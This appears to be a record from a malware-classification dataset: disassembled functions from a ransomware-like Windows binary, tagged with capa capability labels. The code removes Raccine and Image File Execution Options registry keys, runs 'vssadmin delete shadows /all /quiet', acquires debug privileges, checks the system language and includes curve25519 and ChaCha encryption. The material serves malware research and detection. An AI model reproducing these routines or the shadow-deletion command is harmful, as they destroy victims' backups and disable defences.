joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400223a0
Capabilities:
Create process on windows
Delete registry key
Get common file path
Manipulate boot configuration

Disassembly:
sub rsp, 0x498
mov rax, qword [0x1400a9100]
xor rax, rsp
mov qword [rsp + 0x480], rax
lea rdx, str.SOFTWARERaccine
mov rcx, 0xffffffff80000001
call qword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
lea rdx, str.SOFTWARERaccine
mov rcx, 0xffffffff80000002
call qword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
lea rdx, str.SYSTEMCurrentControlSetServicesEventLogApplicationRaccine
mov rcx, 0xffffffff80000002
call qword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Options_vssadmin.exe
mov rcx, 0xffffffff80000002
call qword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Optionswmic.exe
mov rcx, 0xffffffff80000002
call qword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Optionswbadmin.exe
mov rcx, 0xffffffff80000002
call qword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Options_bcdedit.exe
mov rcx, 0xffffffff80000002
call qword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Optionspowershell.exe
mov rcx, 0xffffffff80000002
call qword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Optionsdiskshadow.exe
mov rcx, 0xffffffff80000002
call qword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Options_net.exe
mov rcx, 0xffffffff80000002
call qword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Options_taskkill.exe
mov rcx, 0xffffffff80000002
call qword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
mov edx, 0x104
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
je 0x1400224f7
lea rdx, str._sysnative_vssadmin.exe
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str._delete_shadows__all__quiet
lea rcx, [rsp + 0x270]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
xor eax, eax
lea r9, [rsp + 0x270]
mov dword [rsp + 0x28], eax
lea r8, [rsp + 0x30]
lea rdx, str.open
mov qword [rsp + 0x20], rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rcx, qword [rsp + 0x480]
xor rcx, rsp
call fcn.140053250
add rsp, 0x498
ret
Function at 0x140022510
Capabilities:
Acquire debug privileges

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov rdi, rcx
lea rcx, str.PowrProf.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
je 0x140022554
lea rdx, str.PowerSetActiveScheme
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140022554
lea rdx, [0x14008a960]
xor ecx, ecx
call rax
lea rcx, str.SeTakeOwnershipPrivilege
call fcn.140022610
lea rcx, str.SeDebugPrivilege
call fcn.140022610
mov ecx, 0x10
call fcn.140053270
mov rbx, rax
mov qword [rsp + 0x48], rax
test rax, rax
je 0x1400225c0
mov ecx, 1
call fcn.140053270
mov qword [rsp + 0x50], rax
lea rsi, [rbx + 8]
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x1400222c0]
xor edx, edx
xor ecx, ecx
call fcn.140062aec
mov qword [rbx], rax
test rax, rax
je 0x1400225f5
jmp 0x1400225c2
xor ebx, ebx
mov rcx, qword [rdi + 8]
mov qword [rdi + 8], rbx
test rcx, rcx
je 0x1400225df
cmp dword [rcx + 8], 0
jne 0x1400225ef
mov edx, 0x10
call fcn.1400532ac
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
call fcn.140062bd4
nop
mov dword [rsi], 0
mov ecx, 6
call fcn.140030b7c
int3

Function at 0x1400226d0
Capabilities:
Identify system language via api

Disassembly:
sub rsp, 0x48
mov rax, qword [0x1400a9100]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov eax, 0x444
mov dword [rsp + 0x20], 0x43f0419
mov word [rsp + 0x28], ax
mov dword [rsp + 0x24], 0x4220423
call qword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
movzx r8d, ax
lea rdx, [rsp + 0x2a]
lea rcx, [rsp + 0x20]
call fcn.140030300
lea rcx, [rsp + 0x2a]
cmp rax, rcx
setne al
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.140053250
add rsp, 0x48
ret

Function at 0x1400228f0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub rsp, 0x28
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x14002290c
mov eax, 2
add rsp, 0x28
ret
shr eax, 4
not eax
and eax, 1
add rsp, 0x28
ret
Function at 0x1400258d0
Capabilities:
Encrypt data using curve25519

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0xf0]
sub rsp, 0x1f0
mov rax, qword [0x1400a9100]
xor rax, rsp
mov qword [rbp + 0xe8], rax
movups xmm0, xmmword [rdx]
mov rbx, rcx
lea rcx, [rbp + 0x20]
movups xmm1, xmmword [rdx + 0x10]
mov rdx, r8
movd eax, xmm0
movups xmmword [rbp + 0xd0], xmm1
and al, 0xf8
psrldq xmm1, 0xf
movups xmmword [rbp + 0xc0], xmm0
mov byte [rbp + 0xc0], al
movd eax, xmm1
and al, 0x3f
or al, 0x40
mov byte [rbp + 0xdf], al
call fcn.140025f50
lea r9, [rbp + 0x20]
lea r8, [rbp + 0xc0]
lea rcx, [rbp - 0x30]
lea rdx, [rsp + 0x20]
call fcn.140023ed0
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x80]
call fcn.140024330
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x20]
call fcn.140026a70
imul rax, qword [rbp + 0xb0], 0x13
lea rcx, [rbp + 0x20]
add qword [rbp + 0x60], rax
imul rax, qword [rbp + 0xa8], 0x13
add qword [rbp + 0x58], rax
imul rax, qword [rbp + 0xa0], 0x13
add qword [rbp + 0x50], rax
imul rax, qword [rbp + 0x98], 0x13
add qword [rbp + 0x48], rax
imul rax, qword [rbp + 0x90], 0x13
add qword [rbp + 0x40], rax
imul rax, qword [rbp + 0x88], 0x13
add qword [rbp + 0x38], rax
imul rax, qword [rbp + 0x80], 0x13
add qword [rbp + 0x30], rax
imul rax, qword [rbp + 0x78], 0x13
add qword [rbp + 0x28], rax
imul rax, qword [rbp + 0x70], 0x13
add qword [rbp + 0x20], rax
call fcn.140027080
movaps xmm0, xmmword [rbp + 0x20]
lea rdx, [rsp + 0x20]
movaps xmm1, xmmword [rbp + 0x30]
mov rcx, rbx
movaps xmmword [rsp + 0x20], xmm0
movaps xmm0, xmmword [rbp + 0x40]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm0, xmmword [rbp + 0x60]
movaps xmmword [rsp + 0x30], xmm1
movaps xmm1, xmmword [rbp + 0x50]
movaps xmmword [rsp + 0x60], xmm0
movaps xmmword [rsp + 0x50], xmm1
call fcn.140025a40
xor eax, eax
mov rcx, qword [rbp + 0xe8]
xor rcx, rsp
call fcn.140053250
mov rbx, qword [rsp + 0x208]
add rsp, 0x1f0
pop rbp
ret

Function at 0x1400276e0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov eax, 1
mov dword [0x1400abd10], ecx
mov r8d, eax
lea r11, [0x1400abd10]
mov r9d, eax
mov ecx, eax
mov r10d, eax
nop dword [rax]
movsxd rcx, ecx
mov edx, dword [r11 + rcx*4 - 4]
mov ecx, edx
shr ecx, 0x1e
xor ecx, edx
imul edx, ecx, 0x6c078965
add edx, eax
movsxd rax, r8d
mov dword [r11 + rax*4], edx
movsxd rax, r10d
mov dword [r11 + rax*4], edx
lea eax, [r9 + 1]
mov dword [0x1400ac6d0], eax
mov ecx, eax
mov r8d, eax
mov r9d, eax
mov r10d, eax
cmp eax, 0x270
jl 0x140027700
ret
Function at 0x140028290
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r13
push r14
push r15
mov rsi, qword [rsp + 0x48]
xor r14d, r14d
mov rbx, qword [rsp + 0x60]
mov r12, r9
mov rcx, qword [rsp + 0x50]
mov r13, r8
mov rbp, qword [rsp + 0x58]
mov r15, rdx
mov qword [rsi], r8
mov qword [rbx], rcx
mov rax, qword [rsi]
cmp rax, r9
je 0x140028425
cmp rcx, rbp
je 0x140028425
mov r9d, 1
movzx edx, word [r15]
xor dil, dil
movzx ecx, word [rax]
mov r11d, 0x2800
mov r8d, 0x3ff
mov r10d, 0x2400
cmp r9w, dx
jae 0x14002832c
lea eax, [r10 + rcx]
cmp ax, r8w
ja 0x14002844c
mov eax, edx
sub ecx, 0xdc00
shl eax, 0xa
or eax, ecx
jmp 0x140028343
mov eax, ecx
add cx, r11w
cmp cx, r8w
ja 0x140028343
shl eax, 0xa
mov dil, 1
sub eax, 0x35f0000
cmp eax, 0x80
jae 0x140028356
movzx r8d, al
mov r10d, r14d
mov r11d, r14d
jmp 0x1400283a3
mov r8d, eax
cmp eax, 0x800
jae 0x140028370
shr r8d, 6
mov r10d, r9d
or r8b, 0xc0
mov r11d, r9d
jmp 0x1400283a3
cmp eax, 0x10000
jae 0x14002838a
shr r8d, 0xc
mov r10d, 2
or r8b, 0xe0
mov r11d, r10d
jmp 0x1400283a3
shr r8d, 0x12
mov r10d, 3
movzx r11d, dil
or r8b, 0xf0
xor r11d, 1
add r11d, r11d
lea r9d, [r11 + 1]
mov rdx, rbp
sub rdx, qword [rbx]
mov ecx, r9d
cmp rdx, rcx
jl 0x140028425
add qword [rsi], 2
test dil, dil
jne 0x1400283c4
cmp r10d, 3
jae 0x1400283d0
mov rcx, qword [rbx]
mov r9d, r11d
mov byte [rcx], r8b
inc qword [rbx]
mov r8, qword [rbx]
test r9d, r9d
jle 0x1400283fe
lea ecx, [r10 + r10*2]
add ecx, ecx
nop
sub ecx, 6
mov edx, eax
shr edx, cl
dec r9d
and dl, 0x3f
or dl, 0x80
mov byte [r8], dl
inc qword [rbx]
mov r8, qword [rbx]
test r9d, r9d
jg 0x1400283e0
shr eax, 0xa
mov r9d, 1
test dil, dil
mov ecx, r9d
cmovne ecx, eax
mov word [r15], cx
mov rax, qword [rsi]
cmp rax, r12
je 0x140028425
cmp qword [rbx], rbp
jne 0x1400282ed
cmp r13, qword [rsi]
sete r14b
mov eax, r14d
mov rbx, qword [rsp + 0x28]
mov rbp, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
pop r15
pop r14
pop r13
pop r12
ret
mov eax, 2
jmp 0x14002842f
Function at 0x140029d20
Capabilities:
Reference http user-agent string

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x1400a9100]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rdi, rdx
mov rsi, rcx
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x30], rdx
lea rax, vtable.HTTP::Impl.0
mov qword [rcx], rax
xorps xmm0, xmm0
movups xmmword [rcx + 8], xmm0
xor ebp, ebp
mov qword [rcx + 0x18], rbp
mov qword [rcx + 0x20], rbp
movups xmm0, xmmword [rdx]
movups xmmword [rcx + 8], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x18], xmm1
mov qword [rdx + 0x10], rbp
mov qword [rdx + 0x18], 7
mov word [rdx], bp
mov qword [rcx + 0x28], rbp
mov qword [rcx + 0x30], rbp
mov qword [rcx + 0x38], rbp
mov byte [rcx + 0x40], bpl
lea rbx, [rcx + 0x48]
mov qword [rsp + 0x28], rbx
mov qword [rbx], rbp
mov qword [rbx + 8], rbp
mov ecx, 0x60
call fcn.140053270
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbx], rax
mov dword [rsi + 0x58], ebp
lea rcx, [rsi + 0x60]
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], rbp
mov qword [rcx + 0x18], rbp
mov r8d, 0x50
lea rdx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__rv:130.0__Gecko_20100101_Firefox_130.0
call fcn.140004d30
nop
mov rdx, qword [rdi + 0x18]
cmp rdx, 7
jbe 0x140029e25
lea rdx, [rdx*2 + 2]
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x140029e20
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140029e51
mov rcx, r8
call fcn.1400532ac
mov qword [rdi + 0x10], rbp
mov qword [rdi + 0x18], 7
mov word [rdi], bp
mov rax, rsi
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140053250
mov rbx, qword [rsp + 0x70]
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret
call fcn.1400593b4
int3

Function at 0x14002a160
Capabilities:
Encode data using xor

Disassembly:
movzx eax, cl
mov r11, rdx
or al, dl
mov r9, rcx
test al, 3
jne 0x14002a1a5
shr r8d, 2
test r8d, r8d
je 0x14002a1e6
sub r11, rcx
mov edx, r8d
nop
mov ecx, dword [r9 + r11]
lea r9, [r9 + 4]
mov eax, ecx
rol ecx, 8
ror eax, 8
xor ecx, eax
and ecx, 0xff00ff
xor ecx, eax
mov dword [r9 - 4], ecx
sub rdx, 1
jne 0x14002a180
ret
mov r10d, 0
and r8d, 0xfffffffc
jbe 0x14002a1e6
nop dword [rax]
nop word [rax + rax]
mov edx, r10d
add r10d, 4
mov ecx, dword [rdx + r11]
mov eax, ecx
rol ecx, 8
ror eax, 8
xor ecx, eax
and ecx, 0xff00ff
xor ecx, eax
mov dword [r9 + rdx], ecx
cmp r10d, r8d
jb 0x14002a1c0
ret
Function at 0x14002ac50
Capabilities:
Hash data using sha256

Disassembly:
test rcx, rcx
jne 0x14002ac5b
mov eax, 0xffffff53
ret
xor eax, eax
mov dword [rcx], 0x6a09e667
mov qword [rcx + 0x60], rax
mov dword [rcx + 0x68], eax
mov qword [rcx + 0x70], rax
mov dword [rcx + 4], 0xbb67ae85
mov dword [rcx + 8], 0x3c6ef372
mov dword [rcx + 0xc], 0xa54ff53a
mov dword [rcx + 0x10], 0x510e527f
mov dword [rcx + 0x14], 0x9b05688c
mov dword [rcx + 0x18], 0x1f83d9ab
mov dword [rcx + 0x1c], 0x5be0cd19
ret

Function at 0x14002aca0
Capabilities:
Hash data using sha256

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rdx
mov rbx, rcx
test rcx, rcx
je 0x14002ad2d
test rdx, rdx
je 0x14002ad2d
call fcn.14002a1f0
test eax, eax
jne 0x14002ad32
mov r8d, 0x20
mov rdx, rbx
mov rcx, rbx
call fcn.14002a160
movups xmm0, xmmword [rbx]
xor eax, eax
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov dword [rbx], 0x6a09e667
mov dword [rbx + 4], 0xbb67ae85
mov dword [rbx + 8], 0x3c6ef372
mov dword [rbx + 0xc], 0xa54ff53a
mov dword [rbx + 0x10], 0x510e527f
mov dword [rbx + 0x14], 0x9b05688c
mov dword [rbx + 0x18], 0x1f83d9ab
mov dword [rbx + 0x1c], 0x5be0cd19
mov qword [rbx + 0x60], rax
mov dword [rbx + 0x68], eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov eax, 0xffffff53
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x14002ae60
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x50
mov rax, qword [0x1400a9100]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov edi, r8d
mov r9, rdx
mov rbx, rcx
test rcx, rcx
je 0x14002af29
test rdx, rdx
je 0x14002af29
lea eax, [rdi - 0x10]
test eax, 0xffffffef
jne 0x14002af29
test dl, 3
je 0x14002aeb9
mov r8d, edi
lea rcx, [rsp + 0x20]
call fcn.14007e5e0
lea r9, [rsp + 0x20]
mov eax, dword [r9]
lea rcx, [r9 + 0x10]
mov dword [rbx + 0x10], eax
lea rdx, str.expand_32_byte_kexpand_16_byte_k
mov eax, dword [r9 + 4]
cmp edi, 0x20
mov dword [rbx + 0x14], eax
mov eax, dword [r9 + 8]
cmovne rcx, r9
mov dword [rbx + 0x18], eax
mov eax, dword [r9 + 0xc]
mov dword [rbx + 0x1c], eax
lea rax, [0x140084f90]
cmovne rdx, rax
mov eax, dword [rcx]
mov dword [rbx + 0x20], eax
mov eax, dword [rcx + 4]
mov dword [rbx + 0x24], eax
mov eax, dword [rcx + 8]
mov dword [rbx + 0x28], eax
mov eax, dword [rcx + 0xc]
mov dword [rbx + 0x2c], eax
mov eax, dword [rdx]
mov dword [rbx], eax
mov eax, dword [rdx + 4]
mov dword [rbx + 4], eax
mov eax, dword [rdx + 8]
mov dword [rbx + 8], eax
mov eax, dword [rdx + 0xc]
mov dword [rbx + 0xc], eax
xor eax, eax
mov dword [rbx + 0x40], 0
jmp 0x14002af2e
mov eax, 0xffffff53
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140053250
mov rbx, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
Function at 0x14002b650
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov r10, rdx
mov rax, rcx
and r10d, 7
and eax, 7
xor r11d, r11d
cmp rax, r10
jne 0x14002b78f
mov rax, r8
and eax, 7
cmp r10, rax
jne 0x14002b78f
test r10, r10
je 0x14002b6ae
nop dword [rax]
test r9d, r9d
je 0x14002b6ae
movzx eax, byte [r8]
dec r9d
xor al, byte [rdx]
inc r8
mov byte [rcx], al
inc rdx
inc rcx
test dl, 7
jne 0x14002b690
mov ebx, r9d
mov edi, r11d
shr ebx, 3
test ebx, ebx
je 0x14002b78b
cmp ebx, 8
jb 0x14002b760
lea eax, [rbx - 1]
mov r10d, eax
lea rsi, [rcx + rax*8]
lea rax, [rdx + rax*8]
cmp rcx, rax
ja 0x14002b6e4
cmp rsi, rdx
jae 0x14002b760
lea rax, [r8 + r10*8]
cmp rcx, rax
ja 0x14002b6f2
cmp rsi, r8
jae 0x14002b760
mov eax, ebx
and eax, 0xfffffff8
nop word [rax + rax]
movdqu xmm0, xmmword [rdx]
add edi, 8
movdqu xmm1, xmmword [r8]
xorps xmm1, xmm0
movdqu xmm0, xmmword [rdx + 0x10]
movdqu xmmword [rcx], xmm1
movdqu xmm1, xmmword [r8 + 0x10]
xorps xmm1, xmm0
movdqu xmm0, xmmword [rdx + 0x20]
movdqu xmmword [rcx + 0x10], xmm1
movdqu xmm1, xmmword [r8 + 0x20]
xorps xmm1, xmm0
movdqu xmm0, xmmword [rdx + 0x30]
add rdx, 0x40
movdqu xmmword [rcx + 0x20], xmm1
movdqu xmm1, xmmword [r8 + 0x30]
add r8, 0x40
xorps xmm1, xmm0
movdqu xmmword [rcx + 0x30], xmm1
add rcx, 0x40
cmp edi, eax
jb 0x14002b700
cmp edi, ebx
jae 0x14002b78b
sub ebx, edi
mov r10d, ebx
nop word [rax + rax]
mov rax, qword [r8]
add r8, 8
xor rax, qword [rdx]
add rdx, 8
mov qword [rcx], rax
add rcx, 8
sub r10, 1
jne 0x14002b770
and r9d, 7
test r9d, r9d
je 0x14002b8b6
cmp r9d, 8
jb 0x14002b883
lea eax, [r9 - 1]
mov r10d, eax
lea rbx, [rax + rcx]
add rax, rdx
cmp rcx, rax
ja 0x14002b7be
cmp rbx, rdx
jae 0x14002b883
lea rax, [r10 + r8]
cmp rcx, rax
ja 0x14002b7d0
cmp rbx, r8
jae 0x14002b883
cmp r9d, 0x40
jb 0x14002b857
mov ebx, r9d
mov edi, r9d
and ebx, 0x3f
sub edi, ebx
mov esi, 0x20
nop word [rax + rax]
movdqu xmm0, xmmword [rdx + r11]
lea eax, [rsi - 0x10]
movdqu xmm1, xmmword [r8 + r11]
xorps xmm1, xmm0
movdqu xmm0, xmmword [rax + r8]
movdqu xmmword [rcx + r11], xmm1
add r11d, 0x40
movdqu xmm1, xmmword [rdx + rax]
xorps xmm1, xmm0
movdqu xmmword [rcx + rax], xmm1
mov eax, esi
movdqu xmm0, xmmword [rax + r8]
movdqu xmm1, xmmword [rdx + rax]
xorps xmm1, xmm0
movdqu xmmword [rcx + rax], xmm1
lea eax, [rsi + 0x10]
add esi, 0x40
movdqu xmm1, xmmword [rdx + rax]
movdqu xmm0, xmmword [rax + r8]
xorps xmm1, xmm0
movdqu xmmword [rcx + rax], xmm1
cmp r11d, edi
jb 0x14002b7f0
cmp ebx, 8
jb 0x14002b87e
mov r10d, r9d
and r10d, 0xfffffff8
nop
movq xmm1, qword [rdx + r11]
movq xmm0, qword [r11 + r8]
xorps xmm1, xmm0
movq qword [rcx + r11], xmm1
add r11d, 8
cmp r11d, r10d
jb 0x14002b860
cmp r11d, r9d
jae 0x14002b8b6
sub r8, rdx
mov r10d, r11d
add r10, rdx
sub rcx, rdx
sub r9d, r11d
mov edx, r9d
nop word [rax + rax]
movzx eax, byte [r10 + r8]
xor al, byte [r10]
mov byte [rcx + r10], al
lea r10, [r10 + 1]
sub rdx, 1
jne 0x14002b8a0
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
ret
Function at 0x1400491e8
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
lea r9, [rdx + rdx]
movabs r8, 0xcbf29ce484222325
xor edx, edx
test r9, r9
je 0x1400393ce
movzx eax, byte [rcx + rdx]
movabs r10, 0x100000001b3
xor r8, rax
inc rdx
imul r8, r10
cmp rdx, r9
jb 0x1400393b1
mov rax, r8
ret
sub r8, rdx
mov rcx, rdx
sar r8, 1
mov rdx, r8
jmp 0x14003939c

Function at 0x1400491fc
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
lea r9, [rdx + rdx]
xor r8d, r8d
movabs rax, 0xcbf29ce484222325
test r9, r9
je 0x1400106b4
movabs r10, 0x100000001b3
movzx edx, byte [rcx + r8]
inc r8
xor rax, rdx
imul rax, r10
cmp r8, r9
jb 0x1400106a0
ret
sub r8, rdx
mov rcx, rdx
sar r8, 1
mov rdx, r8
jmp 0x140010680

Function at 0x140052ab4
Capabilities:
Get geographical location

Disassembly:
sub rsp, 0x28
call fcn.14006767c
mov rcx, qword [rax + 0x28]
test rcx, rcx
je 0x140052b06
and dword [rsp + 0x30], 0
lea r8, [rsp + 0x30]
mov r9d, 2
lea edx, [r9 + 0x20]
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
movzx ecx, word [rsp + 0x30]
sub ecx, 0x30
je 0x140052b06
sub ecx, 1
je 0x140052aff
cmp ecx, 1
je 0x140052af8
xor eax, eax
jmp 0x140052b0b
mov eax, 3
jmp 0x140052b0b
mov eax, 1
jmp 0x140052b0b
mov eax, 2
add rsp, 0x28
ret

Function at 0x1400542d8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140054322
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140054322
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140054322
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140054322
cmp dword [rcx + 0x84], 0xe
jbe 0x140054322
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140054324
xor al, al
add rsp, 0x28
ret

Function at 0x140059530
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14005959f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14005959f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14005959f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14005959f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14005959f
cmp dword [rcx + 0x84], 0xe
jbe 0x14005959f
cmp dword [rcx + 0xf8], 0
je 0x14005959f
mov ecx, ebx
call fcn.140059650
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14005942c
nop
cmp dword [rbp + 0x20], 0
je 0x1400595ed
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400595f8
int3
xor r8d, r8d
xor edx, edx
jmp 0x140059530
Function at 0x140059734
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14005959f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14005959f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14005959f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14005959f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14005959f
cmp dword [rcx + 0x84], 0xe
jbe 0x14005959f
cmp dword [rcx + 0xf8], 0
je 0x14005959f
mov ecx, ebx
call fcn.140059650
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14005942c
nop
cmp dword [rbp + 0x20], 0
je 0x1400595ed
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400595f8
int3
xor r8d, r8d
xor edx, edx
jmp 0x140059530

Function at 0x140062aec
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
xor edi, edi
mov esi, edx
mov rbp, rcx
test r8, r8
jne 0x140062b23
call fcn.14005d194
mov dword [rax], 0x16
call fcn.140059394
xor eax, eax
jmp 0x140062bb1
mov rdx, r9
mov rcx, r8
call fcn.140062a88
mov rbx, rax
test rax, rax
je 0x140062bae
lea rax, [rsp + 0x50]
mov rdx, rsi
mov qword [rsp + 0x28], rax
lea r8, [0x1400629b4]
mov eax, dword [rsp + 0x60]
mov r9, rbx
mov rcx, rbp
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x140062b9b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.14005d108
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x140062b82
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x140062b91
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rbx
call fcn.14006ea78
jmp 0x140062bae
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140062bab
mov eax, dword [rsp + 0x50]
mov dword [rcx], eax
mov rdi, rdx
mov rax, rdi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret